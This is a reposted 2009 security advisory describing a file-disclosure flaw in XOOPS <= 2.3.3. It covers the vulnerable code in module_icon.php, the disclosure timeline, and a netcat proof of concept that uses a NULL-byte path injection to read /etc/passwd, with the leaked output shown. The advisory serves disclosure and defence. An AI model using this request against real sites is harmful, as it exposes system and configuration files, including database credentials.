首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
XOOPS <= 2.3.3 Remote File Disclosure Vulnerability (.htaccess)
来源:vfocus.net 作者:vfocus 发布时间:2009-06-17  

  ======================================================================== 
              XOOPS <= 2.3.3 Remote Arbitrary File Retrieval
  ========================================================================
   
  Affected Software : XOOPS <= 2.3.3
  Author            : Luca "daath" De Fulgentis - daath[at]nibblesec[dot]org
  Advisory number   : NS-2009-01
  Advisory URL      : http://blog.nibblesec.org/advisories/NS-2009-01.txt
  Severity          : Low/Medium
  Local/Remote      : Remote


  [Summary]
 
  XOOPS is a web application platform written in PHP for the MySQL database.
  Its object orientation makes it an ideal tool for developing small or large
  community websites, intra company and corporate portals, weblogs and much
  more. (Reference : http://www.xoops.org).

  Nibble Security discovered a remote arbitrary file retrieval in XOOPS version
  2.3.3, which could be exploited to read system or XOOPS configuration files
  ("mainfile.php").


  [Vulnerability Details]

  A vulnerable read_file() function can be found in "module_icon.php" under
  /xoops_lib/modules/protector/. Here an image icon is read and its full
  pathname is constructed using a user-controllable variable called
  "$mydirpath" :

  =============================================================================
  [...]
  if( file_exists( $mydirpath.'/module_icon.png' ) ) {
      $use_custom_icon = true ;
      $icon_fullpath = $mydirpath.'/module_icon.png' ;
  } else {
      $use_custom_icon = false ;
      $icon_fullpath = dirname(__FILE__).'/module_icon.png' ;
  }

  [...]
  } else {

      readfile( $icon_fullpath ) ;
  }
  ?>
  =============================================================================

  If register_globals is enabled and magic_quotes_gpc disabled, it's possible
  to control the "$mydirpath" variable content and inject an arbitrary filename
  (followed by a NULL byte (%00) to make file_exists() function ignore the
  following "/module_icon.png"), resulting in file content inclusion in
  application response.


  [Proof of Concept Exploit]

  Some browsers (e.g. Mozilla Firefox) may refuse broken images (such as the
  one generated by the vulnerable script). Bacause of this netcat/telnet can be
  easily used to exploit this vulnerability :

  daath@shaytan:~$ echo -e "GET /xoops_lib/modules/protector/module_icon.php?
   mydirpath=/etc/passwd%00 HTTP/1.0\n\n" | nc 127.0.0.1 80

  HTTP/1.1 200 OK
  Date: Mon, 16 Mar 2009 19:07:03 GMT
  Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch
  X-Powered-By: PHP/5.2.6-2ubuntu4.1
  Expires: Mon, 16 Mar 2009 21:00:00 +0100
  Cache-Control: public, max-age=3600
  Last-Modified: Mon, 16 Mar 2009 20:00:00 +0100
  Content-Length: 1661
  Connection: close
  Content-Type: image/png

  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  bin:x:2:2:bin:/bin:/bin/sh
  [...]
  daath@shaytan:~$


  [Time Table]

  17/03/2009 - Vendor notified.
  17/03/2009 - Vendor response.
  28/05/2009 - Vendor re-contacted (no answer).
  16/06/2009 - Public disclosure.


  [Legal Notices]

  The information in the advisory is believed to be accurate at the 
  time of publishing based on currently available information. 
  This information is provided as-is, as a free service to the community. 
  There are no warranties with regard to this information.
  The author does not accept any liability for any direct, 
  indirect, or consequential loss or damage arising from use of, 
  or reliance on, this information.
  Permission is hereby granted for the redistribution of this alert,
  provided that the content is not altered in any way, except 
  reformatting, and that due credit is given.
  
  This vulnerability has been disclosed in accordance with the RFP 
  Full-Disclosure Policy v2.0, available at:
  http://www.wiretrip.net/rfp/policy.html



# Modules directory has an .htaccess file blocking php files from being accessed. Still the possibility is there. /str0ke

# [2009-06-16]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·solaris/x86 portbind/tcp shell
·Multiple HTTP Server Low Bandw
·linux/x86 setreuid(geteuid(),g
·FretsWeb 1.2 (name) Remote Bli
·Carom3D 5.06 Unicode Buffer Ov
·compface <= 1.5.2 (XBM File) L
·McAfee 3.6.0.608 naPolicyManag
·DESlock+ 4.0.2 dlpcrypt.sys Lo
·Green Dam 3.17 URL Processing
·Edraw PDF Viewer Component < 3
·Joomla Component com_jumi (fil
·The Recipe Script 5 Remote XSS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved